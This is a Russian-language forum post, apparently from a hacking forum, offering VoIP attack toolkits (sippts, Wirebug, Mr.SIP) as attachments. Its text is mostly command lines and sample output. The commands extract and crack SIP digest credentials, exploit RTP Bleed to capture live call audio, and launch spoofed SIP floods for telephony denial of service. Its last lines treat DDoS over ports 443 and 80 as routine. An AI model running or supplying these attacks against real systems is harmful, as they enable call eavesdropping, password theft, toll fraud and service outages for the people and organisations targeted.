SipDump извлекает аутентификацию SIP Digest из файла PCAP.

python3 sipdump.py -h

usage: sipdump.py [-h] -f FILE -o OFILE


░██████╗██╗██████╗░ ██████╗░██╗░░░██╗███╗░░░███╗██████╗░
██╔════╝██║██╔══██╗ ██╔══██╗██║░░░██║████╗░████║██╔══██╗
╚█████╗░██║██████╔╝ ██║░░██║██║░░░██║██╔████╔██║██████╔╝
░╚═══██╗██║██╔═══╝░ ██║░░██║██║░░░██║██║╚██╔╝██║██╔═══╝░
██████╔╝██║██║░░░░░ ██████╔╝╚██████╔╝██║░╚═╝░██║██║░░░░░
╚═════╝░╚═╝╚═╝░░░░░ ╚═════╝░░╚═════╝░╚═╝░░░░░╚═╝╚═╝░░░░░

█▀█ █▀▀ █▀█ █▀▀ █░░ █░█ ▀▄▀
BY █▀▀ ██▄ █▀▀ ██▄ █▄▄ █▄█ █░█

-= SIP Dump =-

optional arguments:

-h, --help show this help message and exit
-f FILE, --file FILE PCAP file to analyze
-o OFILE, --output-file OFILE Save digest to file in SipCrack format


Extracts SIP Digest authentications from a PCAP file


python3 sipdump.py -f captura3.pcap -o data.txt

Инструмент для взлома SipCrack, чтобы взломать аутентификацию в протоколе SIP.

python3 sipcrack.py -h

usage: sipcrack.py [-h] [-w WORDLIST] [-bf] [-p PREFIX] [-s SUFFIX] [-v] -f FILE [-charset CHARSET] [-min MIN] [-max MAX]


░██████╗██╗██████╗░ ██████╗░██╗░██████╗░███████╗░██████╗████████╗ ░█████╗░██████╗░░█████╗░░█████╗░██╗░░██╗
██╔════╝██║██╔══██╗ ██╔══██╗██║██╔════╝░██╔════╝██╔════╝╚══██╔══╝ ██╔══██╗██╔══██╗██╔══██╗██╔══██╗██║░██╔╝
╚█████╗░██║██████╔╝ ██║░░██║██║██║░░██╗░█████╗░░╚█████╗░░░░██║░░░ ██║░░╚═╝██████╔╝███████║██║░░╚═╝█████═╝░
░╚═══██╗██║██╔═══╝░ ██║░░██║██║██║░░╚██╗██╔══╝░░░╚═══██╗░░░██║░░░ ██║░░██╗██╔══██╗██╔══██║██║░░██╗██╔═██╗░
██████╔╝██║██║░░░░░ ██████╔╝██║╚██████╔╝███████╗██████╔╝░░░██║░░░ ╚█████╔╝██║░░██║██║░░██║╚█████╔╝██║░╚██╗
╚═════╝░╚═╝╚═╝░░░░░ ╚═════╝░╚═╝░╚═════╝░╚══════╝╚═════╝░░░░╚═╝░░░ ░╚════╝░╚═╝░░╚═╝╚═╝░░╚═╝░╚════╝░╚═╝░░╚═╝

█▀█ █▀▀ █▀█ █▀▀ █░░ █░█ ▀▄▀
BY █▀▀ ██▄ █▀▀ ██▄ █▄▄ █▄█ █░█

-= SIP digest authentication cracking =-

optional arguments:

-h, --help show this help message and exit
-w WORDLIST, --wordlist WORDLIST Wordlist for bruteforce
-bf, --bruteforce Bruteforce password
-p PREFIX, --prefix PREFIX Prefix for passwords
-s SUFFIX, --suffix SUFFIX Suffix for passwords
-v, --verbose Increase verbosity
-f FILE, --file FILE SipCrack format file with SIP Digest hashes
-charset CHARSET Charset for bruteforce (default: printable)
-min MIN, --min_length MIN Min length for bruteforce (default: 1)
-max MAX, --max_length MAX Max length for bruteforce (default: 8)


Bruteforce charsets
-------------------
ascii_letters # The ascii_lowercase and ascii_uppercase constants
alphabet=ascii_lowercase # The lowercase letters: abcdefghijklmnopqrstuvwxyz
alphabet=ascii_uppercase # The uppercase letters: ABCDEFGHIJKLMNOPQRSTUVWXYZ
alphabet=digits # The string: 0123456789
alphabet=hexdigits # The string: 0123456789abcdefABCDEF
alphabet=octdigits # The string: 01234567
alphabet=punctuation # String of ASCII characters: !"#$%&'()*+,-./:;<=>?@[\]^_`{|}~
alphabet=printable # Combination of digits, ascii_letters, punctuation, and whitespace
alphabet=whitespace # This includes the characters space, tab, linefeed, return, formfeed, and vertical tab
alphabet=0123456789abcdef # Custom alphabet

SIP Digest Crack is a tool to crack the digest authentications within the SIP protocol.

python3 sipcrack.py -f data.txt -w wordlist/rockyou.txt

Ctrl+C stop

SipTshark извлекает данные протокола SIP из файла PCAP.


RTPBleed для использования уязвимости RTPBleed отправляет данные в порты RTP.

python3 rtpbleed.py -h

usage: rtpbleed.py [-h] -i IPADDR [-s START_PORT] [-e END_PORT] [-l LOOPS] [-p PAYLOAD] [-d DELAY]

██████╗░████████╗██████╗░ ██████╗░██╗░░░░░███████╗███████╗██████╗░
██╔══██╗╚══██╔══╝██╔══██╗ ██╔══██╗██║░░░░░██╔════╝██╔════╝██╔══██╗
██████╔╝░░░██║░░░██████╔╝ ██████╦╝██║░░░░░█████╗░░█████╗░░██║░░██║
██╔══██╗░░░██║░░░██╔═══╝░ ██╔══██╗██║░░░░░██╔══╝░░██╔══╝░░██║░░██║
██║░░██║░░░██║░░░██║░░░░░ ██████╦╝███████╗███████╗███████╗██████╔╝
╚═╝░░╚═╝░░░╚═╝░░░╚═╝░░░░░ ╚═════╝░╚══════╝╚══════╝╚══════╝╚═════╝░

█▀█ █▀▀ █▀█ █▀▀ █░░ █░█ ▀▄▀
BY █▀▀ ██▄ █▀▀ ██▄ █▄▄ █▄█ █░█

-= Detects the RTP Bleed vulnerability sending RTP streams =-

optional arguments:

-h, --help show this help message and exit
-i IPADDR, --ip IPADDR Target IP address
-s START_PORT, --start_port START_PORT Start port of the host (default: 10000)
-e END_PORT, --end_port END_PORT End port of the host (default: 20000)
-l LOOPS, --loops LOOPS Number of times to probe the port ranges on the target(s) (default: 4)
-p PAYLOAD, --payload PAYLOAD Codec payload (default: 0)
-d DELAY, --delay DELAY Delay for timeout in microseconds (default: 50)


The RTP bleed Bug is a serious vulnerability in a number of RTP proxies. This weakness allows
malicious users to inject and receive RTP streams of ongoing calls without needing to be positioned
as man-in-the-middle. This may lead to eavesdropping of audio calls, impersonation and possibly cause
toll fraud by redirecting ongoing calls.


More info about the vulnerability: https://www.rtpbleed.com/


python3 rtpbleed.py -i 192.168.1.1

[!] Target IP: 192.168.1.1
[!] Port range: 10000-20000
[!] Payload type: 0
[!] Number of tries per port: 4
[!] Delay between tries: 50 microseconds


[+] Checking port: 10070 with payload type 0 (Seq number: 1)
[+] received 172 bytes from target port 10070 - loop 1
[-] SSRC: 55954f70 - Timestamp: 1124640 - Seq number: 26239
[+] Checking port: 10070 with payload type 0 (Seq number: 3)
[+] received 172 bytes from target port 10070 - loop 3
[-] SSRC: 55954f70 - Timestamp: 1125440 - Seq number: 26244

RTCPBleed для использования уязвимости RTPBleed отправляет данные в порты RTCP.

python3 rtcpbleed.py -h

usage: rtcpbleed.py [-h] -i IPADDR [-s START_PORT] [-e END_PORT] [-d DELAY]

██████╗░████████╗░█████╗░██████╗░ ██████╗░██╗░░░░░███████╗███████╗██████╗░
██╔══██╗╚══██╔══╝██╔══██╗██╔══██╗ ██╔══██╗██║░░░░░██╔════╝██╔════╝██╔══██╗
██████╔╝░░░██║░░░██║░░╚═╝██████╔╝ ██████╦╝██║░░░░░█████╗░░█████╗░░██║░░██║
██╔══██╗░░░██║░░░██║░░██╗██╔═══╝░ ██╔══██╗██║░░░░░██╔══╝░░██╔══╝░░██║░░██║
██║░░██║░░░██║░░░╚█████╔╝██║░░░░░ ██████╦╝███████╗███████╗███████╗██████╔╝
╚═╝░░╚═╝░░░╚═╝░░░░╚════╝░╚═╝░░░░░ ╚═════╝░╚══════╝╚══════╝╚══════╝╚═════╝░

█▀█ █▀▀ █▀█ █▀▀ █░░ █░█ ▀▄▀
BY █▀▀ ██▄ █▀▀ ██▄ █▄▄ █▄█ █░█

-= Detects the RTP Bleed vulnerability sending RTCP streams =-

optional arguments:

-h, --help show this help message and exit
-i IPADDR, --ip IPADDR Target IP address
-s START_PORT, --start_port START_PORT Start port of the host (default: 10001)
-e END_PORT, --end_port END_PORT End port of the host (default: 20001)
-d DELAY, --delay DELAY Delay for timeout in microseconds (default: 1)

The RTP bleed Bug is a serious vulnerability in a number of RTP proxies. This weakness allows
malicious users to inject and receive RTP streams of ongoing calls without needing to be positioned
as man-in-the-middle. This may lead to eavesdropping of audio calls, impersonation and possibly cause
toll fraud by redirecting ongoing calls.

More info about the vulnerability: https://www.rtpbleed.com/


python3 rtcpbleed.py -i 192.168.1.1


[!] Target IP: 192.168.1.1
[!] Port range: 10001-20001
[!] Delay between tries: 1 microseconds

received 64 bytes from target port 10057
received 64 bytes from target port 10057
received 64 bytes from target port 10057
received 64 bytes from target port 10057
received 64 bytes from target port 10057
received 64 bytes from target port 10057
received 64 bytes from target port 10057
received 64 bytes from target port 10057
received 64 bytes from target port 10057
received 64 bytes from target port 10057
received 64 bytes from target port 10057

RTPBleedFlood для использования уязвимости RTPBleed затопляет порт RTP активным диалогом.

python3 rtpbleedflood.py -h

usage: rtpbleedflood.py [-h] -i IPADDR -p PORT


██████╗░████████╗██████╗░ ██████╗░██╗░░░░░███████╗███████╗██████╗░ ███████╗██╗░░░░░░█████╗░░█████╗░██████╗░
██╔══██╗╚══██╔══╝██╔══██╗ ██╔══██╗██║░░░░░██╔════╝██╔════╝██╔══██╗ ██╔════╝██║░░░░░██╔══██╗██╔══██╗██╔══██╗
██████╔╝░░░██║░░░██████╔╝ ██████╦╝██║░░░░░█████╗░░█████╗░░██║░░██║ █████╗░░██║░░░░░██║░░██║██║░░██║██║░░██║
██╔══██╗░░░██║░░░██╔═══╝░ ██╔══██╗██║░░░░░██╔══╝░░██╔══╝░░██║░░██║ ██╔══╝░░██║░░░░░██║░░██║██║░░██║██║░░██║
██║░░██║░░░██║░░░██║░░░░░ ██████╦╝███████╗███████╗███████╗██████╔╝ ██║░░░░░███████╗╚█████╔╝╚█████╔╝██████╔╝
╚═╝░░╚═╝░░░╚═╝░░░╚═╝░░░░░ ╚═════╝░╚══════╝╚══════╝╚══════╝╚═════╝░ ╚═╝░░░░░╚══════╝░╚════╝░░╚════╝░╚═════╝░

█▀█ █▀▀ █▀█ █▀▀ █░░ █░█ ▀▄▀
BY █▀▀ ██▄ █▀▀ ██▄ █▄▄ █▄█ █░█

-= Exploit the RTP Bleed vulnerability sending RTP streams =-

optional arguments:

-h, --help show this help message and exit
-i IPADDR, --ip IPADDR Target IP address
-p PORT, --port PORT Port number to flood


The RTP bleed Bug is a serious vulnerability in a number of RTP proxies. This weakness allows
malicious users to inject and receive RTP streams of ongoing calls without needing to be positioned
as man-in-the-middle. This may lead to eavesdropping of audio calls, impersonation and possibly cause
toll fraud by redirecting ongoing calls.

More info about the vulnerability: https://www.rtpbleed.com/


python3 rtpbleedflood.py -i 192.168.1.1 -p 10070

Wirebug-это набор инструментов для тестирования проникновения в VOIP. Инструменты создаются для одиночного использования, поэтому каждый инструмент является собственной программой Python или Bash.


Инструменты:​


FullBridge: это простой bash сценарий для установки моста Layer2 с двумя определенными интерфейсами.

TimeShift: инструмент для ответа на запрос NTP в положении man-in-the-middle (также с Fullbridge) с меткой времен в прошлом или в будущем. Вы можете легко проверить клиента (VOIP Phone) обоснованность сертификата сервера (SIPS, H.323S, HTTPS, LDAPS и т.д.) Или просто использовать его в качестве инструмента DOS.

VlanEnum: этот сценарий bash создает виртуальные интерфейсы 802.1Q с тегом VLAN и ожиданием возможных ответов DHCP.

SaCLaC: включает в себя две программы Python. Один для подготовки поддельных пакетов LLDP-Med для попадания в VLAN VOIP или запустить DOS, указав клиенту установить VLAN-TAG, а один для анализа CDP-информации файла PCAP.

DecryptSRTP: скрипт позволяет легко использовать библиотеку SRTP Cisco Systems для расшифровки потока SRTP-SDES, если AES-ключ был извлечен из сигнальной части.

CrackTheSIP: простой инструмент brute force для взлома аутентификации Digest SIP с использованием списка слов.

ZRTPDowngrade: инструмент для отказа ZRTP, инициированных пакетами, в положении man-in-the-middle.

EvilSTUN: простой инструмент для фальшивых STUN ответов.

SIPFuzz: инструмент для SIP Fuzzing.

SIPEnum: этот инструмент перечисляет расширения SIP с помощью данного файла.

SIPBrute: инструмент для онлайн-атаки brute force на прокси SIP.

SIPDiscover: инструмент для обнаружения услуг SIP.

RTPFuzz: инструмент для размалывания инъекционных случайных пакетов RTP (шум) в запущенные потоки.

RTPAudioInjection: инструмент для иньекции raw аудио файла в потоки стрима

sudo apt install -y bridge-utils wireshark-common iproute2 wget unzip python3 python3-pip
pip3 install pyshark
pip3 install scapy

sudo python3 wirebug.py

Нажмите TAB или напечатайте help




Кратко пробежимся по использованию

Required arguments:

--dst = Destination IP address of the SIP service
--src = Your IP address of the interface you want to use. If protocol is UDP, you are also able to spoof the IP adress
--domain = The SIP domain. If you don't know the SIP domain, try destination IP address as SIP domain

Example usage:

Discover a UDP SIP service:

python3 sipdiscover.py --dst 192.168.122.153 --src 192.168.122.1 --domain 192.168.153

Discover a UDP SIP service with SIP extension 100:

python3 sipdiscover.py --dst 192.168.122.153 --src 192.168.122.1 --domain 192.168.153 --proto udp --user 100

Discover a TCP SIP service with destination port 5080:

python3 sipdiscover.py --dst 192.168.122.153 --src 192.168.122.1 --domain 192.168.153 --proto tcp --dport 5080

Discover a TLS SIP service with WireBug's default certificate:

python3 sipdiscover.py --dst 192.168.122.153 --src 192.168.122.1 --domain 192.168.153 --proto tls --dport 5061

Discover a TLS SIP service with your own certificate and key:

python sipdiscover.py --dst 192.168.122.153 --src 192.168.122.1 --domain 192.168.153 --proto tls --dport 5061 --crt /tmp/cert.crt --key /tmp/key.key
Notes

Take a close look at the output of SIPDiscover. In addition to information leaks such as version numbers in Server or User-Agent headers, other interesting information may be returned that requires further investigation.

Interesting Response-Lines:

"SIP/2.0 100 Trying": The SIP service is trying to handle your request. You should have a look to later responses.
"SIP/2.0 200 OK": Depending on the request, this status code may mean that there is a security risk. Related requests are: INVITE, REGISTER, BYE, UPDATE and SUBSCRIBE
"SIP/2.0 180 Ringing", "SIP/2.0 181 Call Is Being Forwarded", "SIP/2.0 182 Queued" and "SIP/2.0 183 Session Progress": These status codes may mean that there is a security risk. Related requests are: INVITE, BYE, UPDATE and SUBSCRIBE
"SIP/2.0 407 Proxy Authentication Required" and "SIP/2.0 401 Unauthorized": This means there is a potential vulnerability for online password brute-force attacks


Mr.Sip - это простой инструмент аудита и атаки​

Первоначально был разработан для использования в академической работе, чтобы помочь разработать новые атаки DDO на основе SIP, а затем в качестве идеи преобразован в полностью функциональный инструмент тестирования проникновения на основе SIP.

SIP содержит 3 модуля:

SIP-NES (сетевой сканер)
SIP-ENUM (перечисление)
SIP-DAS (симулятор атаки DOS)

Он обнаруживает компоненты SIP и существующие пользователи в сети и генерирует различные атаки TDOS, высокопроизводительные многопоточные, мощный IP-поддельный спуфинг и генерация сообщений SMART SIP.

Сканер сети обнаруживает компоненты SIP, информацию о производителе и версии.
SIP Enumerator идентифицирует действительную информацию пользователей SIP и аутентификацию.
Вы можете выполнять атаки на основе TDOS, используя симулятор атаки DOS, который имеет мощный IP спуфер.



Установка:​


sudo apt install python3 && python3-pip
sudo apt-get install python-scapy
pip3 install netifaces
pip3 install scapy
pip3 install ipaddress
pip3 install pyfiglet

python3 mr.sip.py --help
python3 mr.sip.py –usage



Использование Mr.SIP:​

python mr.sip.py [--nes|--enum|--das| --sniff| --manmid| --eaves| --crack| --sim| --asp| --vscan] [parameters]


Глобальные параметры по умолчанию, если не указаны:
Интерфейс по умолчанию (--if=) eth0
Количество потоков по умолчанию (--tc=) 10
Порт назначения по умолчанию (--dp=) 5060




Использование SIP-NES:​

python3 mr.sip.py --nes --tn=<target_IP> --mt=options --from=<from_extention> --to=<to_extension>
python3 mr.sip.py --nes --tn=<target_network_range> --mt=invite --from=<from_extention> --to=<to_extension>
python3 mr.sip.py --nes --tn <target_network_address> --mt=subscribe --from=<from_extention> --to=<to_extension>


<target_network_range> должно быть что-то вроде 192.168.1.10-192.168.1.20
<target_network> должно быть что-то вроде 192.168.1.0

Вы можете указать вывод по -i <output_file_name>
По умолчанию вывод будет записан в файл ip_list.txt, который уже существует. SIP-Enum использует этот файл в качестве ввода.

Пункт назначения по умолчанию (--dp)-порт 5060, если не указано.
Тип сообщения по умолчанию (--mt=) - это параметры, если не указано.
Поддерживаемые Типы сообщений: options, invite, subscribe, register




Использование SIP-ENUM:​


python3 mr.sip.py --enum --from=from.txt
python3 mr.sip.py --enum --tn=<target_IP> --from=from.txt


Если целевая сеть (--tn) не указана, SIP-ENUM использует файл ip_list.txt в качестве ввода, который является выводом SIP-NES.
По умолчанию пользователя (--from=) из fromUser.txt
Тип сообщения по умолчанию (--mt) subscribe, если не указано.




Использование SIP-DAS:​

Используя библиотеку Scapy (поддержка подделки IP)

python3 mr.sip.py --das -mt=invite -c <package_count> --tn=<target_IP> -r
python3 mr.sip.py --das --mt=invite -c <package_count> --tn=<target_IP> -s
python3 mr.sip.py --das --mt=invite -c <package_count> --tn=<target_IP> -m --il=ip_list.txt


Используя библиотеку сокетов (но не поддерживает IP Spoofing)

python3 mr.sip.py --das -mt=invite -c <package_count> --tn=<target_IP> -r -l
python3 mr.sip.py --das --mt=invite -c <package_count> --tn=<target_IP> -s -l
python3 mr.sip.py --das --mt=invite -c <package_count> --tn=<target_IP> -m --il=ip_list.txt -l


По умолчанию пользователям (--to=) из toUser.txt
По умолчанию пользователей (--from=) из fromUser.txt
Пользовательский агент по умолчанию (--ua=) userAgent.txt
Счетчик пакетов по умолчанию (-с=) является flood




Обычно ддос через порты 443 80, впрочем можешь указать любой порт
Ддос сипа из фреймворков задуман после сканирования, обнаружения пользователей, портов, цель отличается от простого заглушения сайтов
 

Вложения

  • sippts.zip
    121 КБ · Просмотры: 15
  • Mr.SIP.zip
    82.8 КБ · Просмотры: 16
Последнее редактирование:


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх